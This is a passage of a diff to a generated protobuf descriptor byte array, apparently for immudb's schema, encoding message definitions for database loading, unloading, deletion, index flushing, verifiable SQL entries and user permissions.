0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, - 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x47, 0x0a, 0x0f, 0x66, 0x6c, - 0x75, 0x73, 0x68, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0c, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, - 0x33, 0x32, 0x52, 0x0f, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, - 0x69, 0x7a, 0x65, 0x12, 0x4a, 0x0a, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, - 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x46, 0x6c, 0x6f, 0x61, 0x74, 0x52, 0x11, 0x63, 0x6c, - 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x12, - 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x42, 0x75, 0x6c, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0e, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, - 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x42, 0x75, 0x6c, 0x6b, 0x53, 0x69, 0x7a, 0x65, - 0x12, 0x5b, 0x0a, 0x16, 0x62, 0x75, 0x6c, 0x6b, 0x50, 0x72, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, - 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, - 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x16, 0x62, 0x75, 0x6c, 0x6b, 0x50, 0x72, 0x65, 0x70, 0x61, - 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x22, 0xa3, 0x01, - 0x0a, 0x13, 0x41, 0x48, 0x54, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, - 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x43, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, - 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, - 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x73, 0x79, 0x6e, - 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x47, 0x0a, 0x0f, 0x77, 0x72, - 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, - 0x33, 0x32, 0x52, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, - 0x69, 0x7a, 0x65, 0x22, 0x31, 0x0a, 0x13, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, - 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x32, 0x0a, 0x14, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, + 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, + 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x22, 0x31, 0x0a, 0x13, 0x4c, 0x6f, 0x61, 0x64, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x32, 0x0a, 0x14, 0x4c, + 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, + 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, + 0x33, 0x0a, 0x15, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x22, 0x34, 0x0a, 0x16, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x33, 0x0a, 0x15, 0x55, 0x6e, - 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, + 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x33, 0x0a, 0x15, 0x44, 0x65, + 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, - 0x34, 0x0a, 0x16, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x34, 0x0a, 0x16, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x33, 0x0a, 0x15, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, - 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x34, 0x0a, 0x16, 0x44, 0x65, - 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x22, 0x59, 0x0a, 0x11, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x2c, 0x0a, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, - 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x02, - 0x52, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, - 0x61, 0x67, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x73, 0x79, 0x6e, 0x63, 0x65, 0x64, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x06, 0x73, 0x79, 0x6e, 0x63, 0x65, 0x64, 0x22, 0x30, 0x0a, 0x12, 0x46, - 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x22, 0x25, 0x0a, - 0x05, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x4e, - 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x74, 0x61, 0x62, 0x6c, 0x65, - 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x88, 0x01, 0x0a, 0x0d, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x33, 0x0a, 0x08, - 0x70, 0x6b, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, - 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x08, 0x70, 0x6b, 0x56, 0x61, 0x6c, 0x75, 0x65, - 0x73, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, - 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, - 0x81, 0x01, 0x0a, 0x17, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, - 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x42, 0x0a, 0x0d, 0x73, - 0x71, 0x6c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x52, 0x0d, 0x73, 0x71, 0x6c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, - 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, - 0x65, 0x54, 0x78, 0x22, 0x79, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, - 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, - 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, - 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, - 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, - 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x56, 0x4d, 0x65, 0x74, 0x61, - 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x22, 0x87, - 0x07, 0x0a, 0x12, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x33, 0x0a, 0x08, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x52, 0x08, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x3f, 0x0a, 0x0c, 0x76, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x0c, 0x76, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x12, 0x45, 0x0a, 0x0e, 0x69, - 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, - 0x6f, 0x66, 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, - 0x6f, 0x66, 0x12, 0x1e, 0x0a, 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x49, 0x64, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x49, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, 0x64, 0x18, 0x05, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x07, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x49, 0x64, 0x12, 0x14, 0x0a, 0x05, - 0x50, 0x4b, 0x49, 0x44, 0x73, 0x18, 0x10, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x05, 0x50, 0x4b, 0x49, - 0x44, 0x73, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, - 0x49, 0x64, 0x18, 0x08, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x4e, - 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, - 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x12, 0x57, 0x0a, 0x0c, 0x43, - 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x09, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, - 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0c, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, - 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x57, 0x0a, 0x0c, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, - 0x42, 0x79, 0x49, 0x64, 0x18, 0x0a, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, - 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, - 0x0c, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, 0x12, 0x51, 0x0a, - 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x18, 0x0b, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x31, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x2e, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0a, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, - 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x4e, 0x61, 0x6d, 0x65, 0x73, 0x42, 0x79, 0x49, 0x64, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, - 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x49, 0x64, 0x73, 0x42, 0x79, 0x4e, 0x61, 0x6d, - 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, - 0x38, 0x01, 0x1a, 0x3f, 0x0a, 0x11, 0x43, 0x6f, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x73, 0x42, 0x79, - 0x49, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, - 0x02, 0x38, 0x01, 0x1a, 0x3d, 0x0a, 0x0f, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, - 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, - 0x38, 0x01, 0x4a, 0x04, 0x08, 0x06, 0x10, 0x07, 0x22, 0x28, 0x0a, 0x10, 0x55, 0x73, 0x65, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, 0x79, 0x12, 0x14, 0x0a, 0x05, - 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x6f, 0x6b, - 0x65, 0x6e, 0x22, 0xaa, 0x01, 0x0a, 0x17, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, - 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x37, - 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1f, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, - 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, - 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, - 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, - 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, - 0x1e, 0x0a, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x04, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x22, - 0x4a, 0x0a, 0x14, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, - 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x12, - 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x4d, 0x0a, 0x14, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 